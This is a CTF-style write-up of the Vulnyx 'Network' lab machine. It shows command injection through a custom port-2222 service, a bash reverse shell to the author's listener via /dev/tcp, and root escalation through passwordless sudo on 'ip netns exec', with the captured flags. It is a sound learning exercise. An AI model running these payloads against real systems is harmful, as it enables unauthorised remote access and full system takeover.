Post cover image
vulnyx

August 9, 2026

Vulnyex — Network Writeup

Command Injection, Privilage Escalation

By Bassel

3 min read

Back again with another writeup but this time from the offensive side.

Machine: Network

Platform: Vulnyx

Difficulty: Easy (low)

OS: Linux (Debian)

None

As soon as you run the machine it will displays its IP address so no need to run netdiscover form your attack machine.

None

Below is the whole process to solve the machine and capture the flags, the machine is straight forward and wont take much time to pwn it.

None

1. Enumeration

Nmap Scan

I initiated my reconnaissance with an aggressive Nmap scan to identify open ports and services:

nmap -A -oN networkvuln.txt 192.168.0.53

The results highlighted four open TCP ports:

  • 22/tcp: OpenSSH 8.4p
  • 80/tcp: Apache httpd 2.4.67
  • 8080/tcp: Apache httpd 2.4.67
  • 2222/tcp: A custom/unrecognized service that prompts the user to enter an IPv4 address to retrieve network information.

Web (Ports 80 & 8080)

Both web ports serve the default Apache2 Debian page.

I ran a directory enumeration using Gobuster to check for hidden paths:

gobuster dir -u http://192.168.0.53/ -w combined_directories.txt

NOTE: You can find the wordlist in "/usr/share/seclists/Discovery/Web-Content"

None

The scan returned nothing of interest. The 403 status codes on .ht* files are simply Apache's default deny rules, not hidden content, and the only 200 OK status was the standard index.html.

Conclusion: The web ports are a dead end. Nothing to exploit here.

2. Foothold (Exploiting Port 2222)

Since the web servers were dead ends, I turned my attention to the custom service on port 2222. Connecting to it via Netcat revealed a prompt:

nc 192.168.0.53 2222
[i] Enter an IPv4 address to retrieve network information (e.g. 10.10.10.10):
None

Given that the application takes an IP address and likely passes it to a backend shell command (like ifconfig or ip), it's a prime target for command injection. I tested this by appending ;id to the localhost address:

127.0.0.1;id

This successfully executed the injected command, returning uid=1000(net) gid=1000(net) grupos=1000(net).

None

To gain a foothold, I injected a bash reverse shell through the service:

127.0.0.1;bash -i >& /dev/tcp/192.168.0.44/4444 0>&1

I set up a Netcat listener on my attack machine and caught the shell:

sudo nc -lvnp 4444
None

Once connected, I retrieved the user flag:

  • User flag captured: ed57ab104e04339fcc95e35865eb1e79
None

3. Privilege Escalation

With a foothold as the net user, I checked the sudo permissions:

net@network:~$ sudo -l

The output revealed that the net user can run /usr/bin/ip as root without a password.

None

This is a known GTFOBins escalation vector. The ip netns exec command can run any command in a network namespace as root.

Exploitation

I escalated privileges by first creating a new namespace and then executing a bash shell within it:

net@network:~$ sudo ip netns add pwn
net@network:~$ sudo ip netns exec pwn /bin/bash

This successfully dropped me into a root shell. I verified my privileges and captured the final flag:

root@network:/home/net# whoami
root
root@network:/home/net# cd /root
root@network:~# cat root.txt
6881d504c6a19cd5d15dddfc9745e026
  • Root flag captured.

4. Summary

. Recon : Nmap scan reveals SSH, HTTP (x2), and a custom service on port 2222 .

. Foothold : Command injection in port 2222 service → reverse shell as net

. Privesc : sudo ip netns exec → root shell

Takeaways

Always investigate unusual/custom services , they're often the intended attack vector.

User input passed to shell commands without sanitization is a red flag for command injection.

Check GTFOBins whenever you spot sudo permissions on standard binaries.

……………………………………………………………………………………………

That's it, I hope you enjoyed this writeup 😁

Happy Ethical Hacking.

#Cybersecurity #Pentest #EthicalHacking #VulNyx #CTF #Offensive #RedTeam